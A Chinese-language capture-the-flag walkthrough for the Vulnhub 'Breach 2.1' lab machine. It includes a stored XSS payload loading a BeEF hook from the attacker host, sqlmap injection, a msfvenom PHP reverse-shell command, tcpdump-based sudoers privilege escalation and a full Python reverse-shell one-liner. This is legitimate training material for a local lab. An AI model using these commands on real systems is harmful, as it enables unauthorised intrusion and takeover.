1. 程式人生 > 實用技巧 >Vulnhub-靶機-BREACH: 2.1

Vulnhub-靶機-BREACH: 2.1

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機下載之後使用僅主機模式載入到本地VMware Workstation工作站,需要發現目標靶機的IP地址,可以使用nmap,netdiscover,或者arp之類的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 當然也是可以使用Windows環境下mac地址掃描工具都是可以的,那麼本次演示就是arp-scan工具發現

地址:https://www.vulnhub.com/entry/breach-21,159/

根據提示vulnhub官網提示,此靶機是固定IP地址,IP地址為:192.168.110.151

使用nmap進行掃描

nmap -n -Pn -sS -p- -sV 192.168.110.151 -v --open --script "http-title or default" -oA 192.168.110.151_$(date "+%Y-%m-%d")

看到開放了ssh埠65535,使用ssh連線看看

隨便試試幾個預設口令或者跟使用者名稱一樣的密碼,沒有成功,但是看到提示Peter的密碼是inthesource,使用ssh連線之後再次檢查目標靶機會有個blog可以訪問

此時再次掃描目標靶機

發現開放了80埠,也就是上面提示的那個blog,我們使用dirb首先跑一下

發現了一個blog的目錄,訪問一下

看到有個搜尋框,丟個單引號過去試試看看

憑經驗應該是存在sql注入的,那麼我們使用sqlmap跑一下

sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dbs

最終是確認跑出來了admin的密碼

丟到cmd5上查了下得到了密碼

admin/32admin 這個先放著,我們先看看這個目標靶機是否存在nday,丟到Google上看看

得到如下對於的exp

這裡為了利用儲存下xss,我們直接使用kali環境下的beef攻擊框架,詳細使用方法:https://blog.csdn.net/whoim_i/article/details/102877616

在kali上安裝好beef框架之後,開啟beef

然後開始利用目標靶機的漏洞

根據https://www.exploit-db.com/exploits/17640 的提示,訪問目標靶機的註冊頁面,然後輸入<script src="http://192.168.110.128:3000/hook.js"></script> 攻擊程式碼,密碼和郵箱欄位隨便輸入提交即可

提交成功之後訪問http://192.168.110.151/blog/members.html 即可觸發漏洞,此時便會在beef框架上看被控制端,具體過程如下:

再根據Redirect Browse配合metasploit拿個反彈shell

得到http://192.168.110.128:8080/shell 將這個shell環境丟到beef框架下的Redirect Browse執行

成功拿到shell

cat /etc/ssh/sshd_config

發現之所以登入peter被踢出來是因為執行了startme,那麼我們丟一個執行shell的檔案到.bashrc裡面,讓peter這個使用者在登入成功之後執行shell進行可互動的shell命令列

執行echo "exec sh" > .bashrc

再次登入目標靶機使用peter這個使用者

通過cat /etc/passwd 發現還有個使用者milton和blumbergh

再看看網路連線狀態

看到2323這個不常見的埠,我們連線看看

發現上述地理位置資訊,使用map.google.com訪問看看

這個靶機是老外搞的,試試英文的單詞休斯頓Houston 將這個地名作為賬戶milton和blumbergh的密碼進行嘗試登入看看

確認使用賬戶milton的密碼是對的,但是登入成功顯示上述一些資訊之後就斷開連線了,顯示的資訊是有關stapler

根據關鍵字搜尋

找到上述路徑程式碼,看下程式碼內容

知道了原因就是因為執行這個程式碼3秒鐘內沒有回答正確就會被斷開連線,所以現在看到了程式碼知道登入答案,那麼我再試一把,答案是mine

此時已經登入成功,再次檢視網路連線狀態,發現開放了8888埠

訪問8888埠看看

使用命令dirb進行目錄爆破,發現了目標的後臺登入地址

剛開始使用上面破解出來的賬戶和密碼admin/32admin登入,發現登入失敗,於是試試admin/admin居然登入進去了,登入成功找到了檔案管理的位置,確認有可利用的位置

這裡能上傳檔案,那麼姿勢就非常多了,可以使用kali自帶的php-shell,也可以使用msf生成,生成的命令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f raw -o meterpreter.php

我這裡偷懶直接上傳個webshell,名稱為shell.php 然後直接訪問http://192.168.110.151:8888/oscommerce/includes/work/shell.php 即可

看看sudo的許可權

確認可以使用tcpdump進行提權

執行下面兩條命令進行提權

echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/bmfxtq && chmod +x /tmp/bmfxtq
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/bmfxtq -Z root

上述是執行了提權的命令,看看效果

發現是已經執行成功,可以直接使用sudo -i命令進行提權,但是由於是webshell,不是tty環境,所以暫時無法切換,那麼我們反彈一個shell生成tty環境試試

這裡反彈shell方法很多哈,我就使用其中一種,具體反彈shell指令碼如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.110.128",8856));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

生成python的互動式shell為了後面生成完美tty-shell做準備

python -c 'import pty; pty.spawn("/bin/bash")' 

開始生成完美tty shell,具體操作如下:

在鍵盤上按住Ctrl+Z
此時便退出了當前的反彈shell
在當前的shell 執行 stty raw -echo
fg

使用sudo -i進行提權

獲取flag,並執行